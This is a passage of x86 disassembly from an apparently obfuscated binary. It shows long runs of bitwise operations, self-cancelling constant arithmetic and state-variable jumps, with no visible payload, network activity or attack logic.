or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
and cl, ch
or al, cl
mov cl, byte [ebp - 0x3bf]
and cl, 1
mov ch, byte [ebp - 0x3bf]
xor ch, 1
or cl, ch
xor al, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, bh
and cl, al
xor bh, al
or cl, bh
mov al, byte [ebp - 0x3b7]
xor al, 0xff
mov ch, dh
xor ch, 0xff
mov bh, dl
xor bh, 1
or al, ch
or bh, 1
xor al, 0xff
and al, bh
mov ch, byte [ebp - 0x3b7]
xor ch, 0xff
and ch, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3ca], al
mov al, byte [ebp - 0x3b7]
and al, bh
mov byte [ebp - 0x3cb], al
mov al, dh
xor al, 0xff
and al, 0xff
and dh, bh
mov bh, byte [ebp - 0x3cb]
or ch, bh
or al, dh
xor ch, al
mov al, byte [ebp - 0x3ca]
and al, ch
mov dh, byte [ebp - 0x3ca]
xor dh, ch
or al, dh
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, cl
and bh, dh
or ch, bh
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dh, dl
xor dh, 1
and dh, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3cc], al
mov al, bh
and al, 1
mov byte [ebp - 0x3cd], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x3ce], al
mov al, byte [ebp - 0x3cd]
or dh, al
mov al, byte [ebp - 0x3ce]
or al, bh
xor dh, al
xor cl, 0xff
mov al, dh
xor al, 0xff
mov bh, dl
xor bh, 1
or cl, al
or bh, 1
xor cl, 0xff
and cl, bh
mov al, byte [ebp - 0x3cc]
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3cf], al
mov al, byte [ebp - 0x3cc]
and al, bh
mov bh, byte [ebp - 0x3cf]
or bh, al
mov al, dl
xor al, 1
mov byte [ebp - 0x3d0], al
mov al, bh
mov byte [ebp - 0x3d1], cl
mov cl, byte [ebp - 0x3d0]
xor al, cl
and al, bh
xor dh, 0xff
mov cl, byte [ebp - 0x3cc]
xor cl, dh
mov dh, byte [ebp - 0x3cc]
and cl, dh
mov bh, ch
xor bh, 0xff
mov dh, byte [ebp - 0x3d1]
xor dh, 0xff
mov byte [ebp - 0x3d2], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3d3], al
mov al, bh
and al, 0
mov byte [ebp - 0x3d4], al
mov al, byte [ebp - 0x3d3]
and ch, al
mov al, dh
and al, 0
mov byte [ebp - 0x3d5], al
mov al, byte [ebp - 0x3d1]
mov byte [ebp - 0x3d6], cl
mov cl, byte [ebp - 0x3d3]
and al, cl
mov cl, byte [ebp - 0x3d4]
or cl, ch
mov ch, byte [ebp - 0x3d5]
or ch, al
xor cl, ch
or bh, dh
xor bh, 0xff
mov al, byte [ebp - 0x3d3]
or al, 0
and bh, al
or cl, bh
mov al, byte [ebp - 0x3d2]
xor al, 0xff
mov ch, byte [ebp - 0x3d6]
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x3d7], al
mov al, byte [ebp - 0x3d2]
and al, dh
mov byte [ebp - 0x3d8], al
mov al, ch
and al, 0
mov byte [ebp - 0x3d9], al
mov al, byte [ebp - 0x3d6]
and al, dh
mov byte [ebp - 0x3da], al
mov al, byte [ebp - 0x3d8]
or bh, al
mov al, byte [ebp - 0x3d9]
mov byte [ebp - 0x3db], cl
mov cl, byte [ebp - 0x3da]
or al, cl
xor bh, al
mov al, byte [ebp - 0x3d7]
or al, ch
xor al, 0xff
or dh, 0
and al, dh
or bh, al
mov al, byte [ebp - 0x3db]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, byte [ebp - 0x3db]
and ch, cl
mov dh, bh
xor dh, 0xff
and dh, 0
and bh, cl
or al, ch
or dh, bh
xor al, dh
mov cl, byte [ebp - 0x396]
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
or cl, ch
or dh, 0
xor cl, 0xff
and cl, dh
mov ch, byte [ebp - 0x396]
xor ch, 0xff
mov dh, ah
and dh, ch
xor ah, 0xff
mov ch, byte [ebp - 0x396]
and ch, ah
or dh, ch
mov ah, cl
xor ah, 0xff
mov ch, dh
xor ch, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3dc], al
mov al, ah
and al, 0
and cl, bh
mov byte [ebp - 0x3dd], al
mov al, ch
and al, 0
and dh, bh
mov byte [ebp - 0x3de], al
mov al, byte [ebp - 0x3dd]
or al, cl
mov cl, byte [ebp - 0x3de]
or cl, dh
xor al, cl
or ah, ch
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, al
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, dl
xor ah, 0
and ah, 1
mov ch, dl
xor ch, 1
mov dh, ch
and dh, 0
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, dh
or bh, ch
xor ah, bh
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
or al, ch
or dh, 0
xor al, 0xff
and al, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 0
mov bh, ch
xor bh, dh
and bh, ch
mov ch, dl
xor ch, 1
xor ah, 0xff
mov dh, dl
xor dh, 0
or ch, ah
or dh, 0
xor ch, 0xff
and ch, dh
mov ah, cl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x3df], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3e0], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x3e1], al
mov al, byte [ebp - 0x3e0]
and cl, al
mov al, dh
and al, 0xff
mov byte [ebp - 0x3e2], al
mov al, byte [ebp - 0x3df]
mov byte [ebp - 0x3e3], cl
mov cl, byte [ebp - 0x3e0]
and al, cl
mov cl, byte [ebp - 0x3e1]
mov byte [ebp - 0x3e4], al
mov al, byte [ebp - 0x3e3]
or cl, al
mov al, byte [ebp - 0x3e2]
mov byte [ebp - 0x3e5], cl
mov cl, byte [ebp - 0x3e4]
or al, cl
mov cl, byte [ebp - 0x3e5]
xor cl, al
or ah, dh
xor ah, 0xff
mov al, byte [ebp - 0x3e0]
or al, 1
and ah, al
or cl, ah
mov al, bh
and al, ch
xor bh, ch
or al, bh
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
and cl, ch
mov dh, al
xor dh, 0xff
and dh, 0
and al, ch
or ah, cl
or dh, al
xor ah, dh
mov al, dl
xor al, 1
and al, 0
mov cl, dl
xor cl, 0
mov ch, cl
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ch
or dh, cl
xor al, dh
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, bl
and dh, ch
or cl, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 1
mov bh, al
xor bh, dh
and bh, al
mov dh, ch
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov byte [ebp - 0x3e6], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3e7], al
mov al, cl
mov byte [ebp - 0x3e8], cl
mov cl, byte [ebp - 0x3e7]
xor al, cl
mov cl, byte [ebp - 0x3e8]
and al, cl
xor bl, 0xff
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x3e9], al
mov al, dl
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
and al, dh
xor bh, dh
or al, bh
mov cl, byte [ebp - 0x3e9]
and cl, bl
mov dh, byte [ebp - 0x3e9]
xor dh, bl
or cl, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
and al, bl
mov bh, cl
xor bh, 0xff
and bh, 0xff
and cl, bl
or dh, al
or bh, cl
xor dh, bh
mov al, byte [ebp - 0x3e6]
xor al, 0xff
mov cl, byte [ebp - 0x3e8]
xor cl, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x3ea], al
mov al, byte [ebp - 0x3e6]
and al, bl
mov byte [ebp - 0x3eb], al
mov al, cl
and al, 0
mov byte [ebp - 0x3ec], al
mov al, byte [ebp - 0x3e8]
and al, bl
mov byte [ebp - 0x3ed], al
mov al, byte [ebp - 0x3eb]
or bh, al
mov al, byte [ebp - 0x3ec]
mov byte [ebp - 0x3ee], cl
mov cl, byte [ebp - 0x3ed]
or al, cl
xor bh, al
mov al, byte [ebp - 0x3ea]
mov cl, byte [ebp - 0x3ee]
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
and bh, bl
mov cl, dl
xor cl, 1
and cl, 0xff
and bl, 1
or al, bh
or cl, bl
xor al, cl
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, dh
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
and dh, bl
mov byte [ebp - 0x3ef], al
mov al, cl
and al, 0
and ch, bl
or bh, dh
or al, ch
xor bh, al
mov al, byte [ebp - 0x3ef]
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, ah
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, bh
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and bh, ah
mov ch, dl
xor ch, 1
and ch, 0
and ah, 1
or cl, bh
or ch, ah
xor cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ah
and al, 1
xor ah, 1
or al, ah
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, byte [ebp - 0x3dc]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, byte [ebp - 0x3dc]
and ch, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ch
or dh, cl
xor al, dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
or cl, dh
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
or ch, dh
mov dh, dl
xor dh, 0
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
mov bh, byte [ebp - 0x3dc]
xor bh, dh
mov dh, byte [ebp - 0x3dc]
and bh, dh
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x3f0], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3f1], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3f2], al
mov al, byte [ebp - 0x3f1]
or dh, al
mov al, byte [ebp - 0x3f2]
or al, 0
xor dh, 0xff
and dh, al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x3f3], al
mov al, ah
mov byte [ebp - 0x3f4], cl
mov cl, byte [ebp - 0x3f3]
xor al, cl
and al, ah
mov cl, bl
and cl, bh
xor bl, bh
or cl, bl
mov ah, dh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3f5], al
mov al, ah
and al, 0xff
and dh, bh
mov byte [ebp - 0x3f6], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x3f7], al
mov al, byte [ebp - 0x3f5]
and al, bh
mov byte [ebp - 0x3f8], al
mov al, byte [ebp - 0x3f6]
or al, dh
mov dh, byte [ebp - 0x3f7]
mov byte [ebp - 0x3f9], al
mov al, byte [ebp - 0x3f8]
or dh, al
mov al, byte [ebp - 0x3f9]
xor al, dh
or ah, bl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
and cl, dh
mov bl, al
xor bl, 0xff
and bl, 0
and al, dh
or ah, cl
or bl, al
xor ah, bl
mov al, byte [ebp - 0x3f0]
mov cl, byte [ebp - 0x3f4]
and al, cl
mov dh, byte [ebp - 0x3f0]
xor dh, cl
or al, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
and al, bl
xor dl, 1
and dl, 0xff
and bl, 1
or dh, al
or dl, bl
xor dh, dl
mov al, ch
and al, 0
xor ch, 0
or al, ch
xor al, 0xff
mov dl, dh
xor dl, al
and dl, dh
mov al, ah
and al, dl
xor ah, dl
or al, ah
test al, 1
mov esi, dword [ebp - 0x378]
mov edi, dword [ebp - 0x388]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x477f7c
mov dword [ebp - 0x28], 0xf8fc41fe
jmp 0x477f7c
mov eax, 0xb6e700ec
mov ecx, 0x803c32fe
mov dl, 1
xor esi, esi
mov edi, 0x4b095f0f
mov ebx, dword [0x4ac094]
mov dword [ebp - 0x400], eax
mov eax, dword [0x4ac098]
mov dword [ebp - 0x404], eax
mov eax, esi
sub eax, 0x30d6a81b
sub eax, 0x95d063a8
add eax, 0x30d6a81b
mov dword [ebp - 0x408], eax
mov eax, esi
sub eax, 1
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x410], ecx
mov ecx, dword [ebp - 0x40c]
add eax, ecx
add eax, 0xe28ae97
add eax, 0x95d063a8
sub eax, 0xe28ae97
add edi, 0
sub edi, eax
sub edi, 0x4b095f0f
sub esi, edi
mov eax, ebx
add eax, esi
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x404]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, dl
xor cl, 0
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, dh
xor ch, ah
and ch, dh
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
xor cl, 0xff
xor cl, 0
and cl, 0
mov ch, dl
xor ch, 0
and ch, 1
mov bl, dl
xor bl, 1
and bl, 0
or ch, bl
mov bl, ch
xor bl, 0xff
mov bh, al
xor bh, bl
and bh, al
mov bl, dl
xor bl, 1
and bl, 0
mov byte [ebp - 0x411], al
mov al, dl
xor al, 0
mov byte [ebp - 0x412], al
and al, 1
mov byte [ebp - 0x413], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x414], al
mov al, byte [ebp - 0x412]
and al, 1
mov byte [ebp - 0x415], al
mov al, byte [ebp - 0x413]
or bl, al
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x416], cl
mov cl, byte [ebp - 0x415]
or al, cl
xor bl, al
mov al, dl
xor al, 0
mov cl, bl
xor cl, al
and cl, bl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov al, byte [ebp - 0x416]
xor al, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x417], al
mov al, dl
xor al, 0
mov byte [ebp - 0x418], al
mov al, byte [ebp - 0x417]
and al, 0
mov byte [ebp - 0x419], al
mov al, byte [ebp - 0x416]
mov byte [ebp - 0x41a], cl
mov cl, byte [ebp - 0x418]
and al, cl
mov cl, bl
and cl, 0
mov byte [ebp - 0x41b], al
mov al, byte [ebp - 0x418]
and bh, al
mov al, byte [ebp - 0x419]
mov byte [ebp - 0x41c], cl
mov cl, byte [ebp - 0x41b]
or al, cl
mov cl, byte [ebp - 0x41c]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x417]
or cl, bl
xor cl, 0xff
mov bl, byte [ebp - 0x418]
or bl, 0
and cl, bl
or al, cl
mov cl, byte [ebp - 0x41a]
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x41d], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x41e], al
mov al, byte [ebp - 0x41a]
and al, bh
mov byte [ebp - 0x41f], al
mov al, bl
and al, 0xff
and ch, bh
mov byte [ebp - 0x420], al
mov al, byte [ebp - 0x41e]
mov byte [ebp - 0x421], cl
mov cl, byte [ebp - 0x41f]
or al, cl
mov cl, byte [ebp - 0x420]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x421]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x41d]
xor cl, 0xff
mov ch, al
and ch, cl
xor al, 0xff
mov cl, byte [ebp - 0x41d]
and cl, al
or ch, cl
mov al, dl
xor al, 0
and al, 1
mov cl, dl
xor cl, 1
and cl, 0
or al, cl
mov cl, dl
xor cl, 1
xor al, 0xff
mov bl, dl
xor bl, 1
or cl, al
or bl, 1
xor cl, 0xff
and cl, bl
mov al, dl
xor al, 1
and al, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x422], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x423], al
mov al, byte [ebp - 0x422]
or al, bh
mov bh, byte [ebp - 0x423]
or bh, bl
xor al, bh
xor al, 0xff
xor al, 0
and al, 0
mov bl, cl
xor bl, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x424], al
mov al, dl
xor al, 0
mov byte [ebp - 0x425], al
mov al, bl
and al, 0
mov byte [ebp - 0x426], al
mov al, byte [ebp - 0x425]
and cl, al
mov al, bh
and al, 0
mov byte [ebp - 0x427], al
mov al, byte [ebp - 0x424]
mov byte [ebp - 0x428], cl
mov cl, byte [ebp - 0x425]
and al, cl
mov cl, byte [ebp - 0x426]
mov byte [ebp - 0x429], al
mov al, byte [ebp - 0x428]
or cl, al
mov al, byte [ebp - 0x427]
mov byte [ebp - 0x42a], cl
mov cl, byte [ebp - 0x429]
or al, cl
mov cl, byte [ebp - 0x42a]
xor cl, al
or bl, bh
xor bl, 0xff
mov al, byte [ebp - 0x425]
or al, 0
and bl, al
or cl, bl
mov al, dl
xor al, 0
and al, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x42b], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x42c], al
mov al, byte [ebp - 0x42b]
or al, bh
mov bh, byte [ebp - 0x42c]
or bh, bl
xor al, bh
mov bl, ah
xor bl, 0xff
mov bh, al
and bh, bl
xor al, 0xff
mov bl, ah
and bl, al
or bh, bl
mov al, ah
xor al, 0xff
mov bl, bh
xor bl, al
and bl, bh
mov al, cl
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x42d], al
mov al, cl
and al, bh
mov bh, byte [ebp - 0x42d]
or bh, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x42e], al
mov al, bh
mov byte [ebp - 0x42f], cl
mov cl, byte [ebp - 0x42e]
and al, cl
xor bh, 0xff
mov cl, dh
and cl, bh
or al, cl
xor dh, 0xff
mov cl, al
xor cl, dh
and cl, al
mov al, ch
xor al, 0xff
and al, 0
mov dh, dl
xor dh, 0
mov bh, ch
and bh, dh
mov byte [ebp - 0x430], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x431], al
mov al, byte [ebp - 0x430]
or al, bh
mov bh, byte [ebp - 0x431]
or bh, dh
xor al, bh
mov dh, dl
xor dh, 0
and dh, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x432], al
mov al, bh
and al, 0
mov byte [ebp - 0x433], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x434], al
mov al, byte [ebp - 0x433]
or dh, al
mov al, byte [ebp - 0x434]
or al, bh
xor dh, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x435], al
mov al, bh
and al, 1
mov byte [ebp - 0x436], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x437], al
mov al, byte [ebp - 0x435]
mov byte [ebp - 0x438], cl
mov cl, byte [ebp - 0x436]
or al, cl
mov cl, byte [ebp - 0x437]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x432]
xor cl, 0xff
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x439], al
mov al, dl
xor al, 0
mov byte [ebp - 0x43a], al
mov al, cl
and al, 0
mov byte [ebp - 0x43b], al
mov al, byte [ebp - 0x432]
mov byte [ebp - 0x43c], cl
mov cl, byte [ebp - 0x43a]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x43d], al
mov al, byte [ebp - 0x43a]
and dh, al
mov al, byte [ebp - 0x43b]
mov byte [ebp - 0x43e], cl
mov cl, byte [ebp - 0x43d]
or al, cl
mov cl, byte [ebp - 0x43e]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x43c]
or cl, bh
xor cl, 0xff
mov dh, byte [ebp - 0x43a]
or dh, 0
and cl, dh
or al, cl
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x439]
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x43f], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x440], al
mov al, bh
and al, 1
mov byte [ebp - 0x441], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x442], al
mov al, byte [ebp - 0x439]
and al, bh
mov byte [ebp - 0x443], al
mov al, byte [ebp - 0x440]
mov byte [ebp - 0x444], cl
mov cl, byte [ebp - 0x441]
or al, cl
mov cl, byte [ebp - 0x442]
mov byte [ebp - 0x445], al
mov al, byte [ebp - 0x443]
or cl, al
mov al, byte [ebp - 0x445]
xor al, cl
mov cl, byte [ebp - 0x444]
or cl, dh
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x43f]
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov bh, byte [ebp - 0x43f]
and bh, dh
mov byte [ebp - 0x446], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, byte [ebp - 0x446]
xor al, 0xff
mov dh, cl
xor dh, al
and dh, cl
mov al, byte [ebp - 0x42f]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, byte [ebp - 0x42f]
and bh, cl
mov byte [ebp - 0x447], al
mov al, dl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x448], al
mov al, byte [ebp - 0x447]
or al, bh
mov bh, byte [ebp - 0x448]
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x411]
xor cl, 0xff
mov bh, al
and bh, cl
xor al, 0xff
mov cl, byte [ebp - 0x411]
and cl, al
or bh, cl
xor bh, 0xff
mov al, byte [ebp - 0x411]
xor al, 0xff
mov cl, dl
xor cl, 0
or bh, al
or cl, 0
xor bh, 0xff
and bh, cl
mov al, bl
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov byte [ebp - 0x449], al
mov al, bl
and al, cl
mov byte [ebp - 0x44a], al
mov al, dl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x44b], al
mov al, byte [ebp - 0x449]
mov byte [ebp - 0x44c], cl
mov cl, byte [ebp - 0x44a]
or al, cl
mov cl, byte [ebp - 0x44b]
mov byte [ebp - 0x44d], al
mov al, byte [ebp - 0x44c]
or cl, al
mov al, byte [ebp - 0x44d]
xor al, cl
mov cl, byte [ebp - 0x438]
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x44e], al
mov al, dl
xor al, 1
mov byte [ebp - 0x44f], al
mov al, byte [ebp - 0x438]
mov byte [ebp - 0x450], cl
mov cl, byte [ebp - 0x44f]
and al, cl
mov cl, byte [ebp - 0x450]
or cl, al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x451], al
mov al, dl
xor al, 0
mov byte [ebp - 0x452], al
and al, 1
mov byte [ebp - 0x453], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x454], al
mov al, byte [ebp - 0x452]
and al, 1
mov byte [ebp - 0x455], al
mov al, byte [ebp - 0x451]
mov byte [ebp - 0x456], cl
mov cl, byte [ebp - 0x453]
or al, cl
mov cl, byte [ebp - 0x454]
mov byte [ebp - 0x457], al
mov al, byte [ebp - 0x455]
or cl, al
mov al, byte [ebp - 0x457]
xor al, cl
mov cl, dl
xor cl, 1
mov byte [ebp - 0x458], al
mov al, byte [ebp - 0x44e]
xor al, cl
mov cl, byte [ebp - 0x44e]
and al, cl
mov cl, byte [ebp - 0x458]
xor cl, 0xff
mov byte [ebp - 0x459], al
mov al, bl
xor al, cl
and al, bl
mov cl, dl
xor cl, 1
mov bl, byte [ebp - 0x456]
xor bl, cl
mov cl, byte [ebp - 0x456]
and bl, cl
mov cl, byte [ebp - 0x438]
xor cl, 0xff
mov byte [ebp - 0x45a], al
mov al, byte [ebp - 0x458]
xor al, 0xff
mov byte [ebp - 0x45b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x45c], al
mov al, byte [ebp - 0x45b]
or cl, al
mov al, byte [ebp - 0x45c]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x459]
mov byte [ebp - 0x45d], cl
mov cl, byte [ebp - 0x45a]
and al, cl
mov cl, byte [ebp - 0x459]
mov byte [ebp - 0x45e], al
mov al, byte [ebp - 0x45a]
xor cl, al
mov al, byte [ebp - 0x45e]
or al, cl
mov cl, bl
mov byte [ebp - 0x45f], al
mov al, byte [ebp - 0x45d]
and cl, al
xor bl, al
or cl, bl
mov bl, byte [ebp - 0x45f]
xor bl, 0xff
mov al, cl
and al, bl
xor cl, 0xff
mov bl, byte [ebp - 0x45f]
and bl, cl
or al, bl
mov cl, byte [ebp - 0x44e]
xor cl, 0xff
mov bl, byte [ebp - 0x456]
xor bl, 0xff
mov byte [ebp - 0x460], al
mov al, dl
xor al, 0
mov byte [ebp - 0x461], al
mov al, cl
and al, 0
mov byte [ebp - 0x462], al
mov al, byte [ebp - 0x44e]
mov byte [ebp - 0x463], cl
mov cl, byte [ebp - 0x461]
and al, cl
mov cl, bl
and cl, 0
mov byte [ebp - 0x464], al
mov al, byte [ebp - 0x456]
mov byte [ebp - 0x465], cl
mov cl, byte [ebp - 0x461]
and al, cl
mov cl, byte [ebp - 0x462]
mov byte [ebp - 0x466], al
mov al, byte [ebp - 0x464]
or cl, al
mov al, byte [ebp - 0x465]
mov byte [ebp - 0x467], cl
mov cl, byte [ebp - 0x466]
or al, cl
mov cl, byte [ebp - 0x467]
xor cl, al
mov al, byte [ebp - 0x463]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x461]
or bl, 0
and al, bl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
and cl, bl
mov byte [ebp - 0x468], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x469], al
mov al, byte [ebp - 0x468]
or al, cl
mov cl, byte [ebp - 0x469]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x458]
and cl, 1
mov bl, byte [ebp - 0x458]
xor bl, 1
or cl, bl
xor al, 0xff
xor cl, 0xff
mov bl, dl
xor bl, 0
or al, cl
or bl, 0
xor al, 0xff
and al, bl
mov cl, byte [ebp - 0x460]
and cl, al
mov bl, byte [ebp - 0x460]
xor bl, al
or cl, bl
mov al, dh
xor al, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x46a], al
mov al, dl
xor al, 0
mov byte [ebp - 0x46b], al
mov al, byte [ebp - 0x46a]
or al, bl
mov bl, byte [ebp - 0x46b]
or bl, 0
xor al, 0xff
and al, bl
mov bl, dh
xor bl, 0xff
mov byte [ebp - 0x46c], al
mov al, bh
and al, bl
xor bh, 0xff
and dh, bh
or al, dh
mov dh, byte [ebp - 0x46c]
and dh, al
mov bl, byte [ebp - 0x46c]
xor bl, al
or dh, bl
mov al, cl
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov bh, cl
and bh, bl
mov byte [ebp - 0x46d], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x46e], al
mov al, byte [ebp - 0x46d]
or al, bh
mov bh, byte [ebp - 0x46e]
or bh, bl
xor al, bh
xor al, 0xff
mov bl, dh
xor bl, al
and bl, dh
mov al, dh
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and dh, bh
or al, dh
xor cl, 0xff
xor al, 0xff
mov dh, dl
xor dh, 0
or cl, al
or dh, 0
xor cl, 0xff
and cl, dh
mov al, bl
and al, cl
xor bl, cl
or al, bl
mov cl, ah
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov bl, ah
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
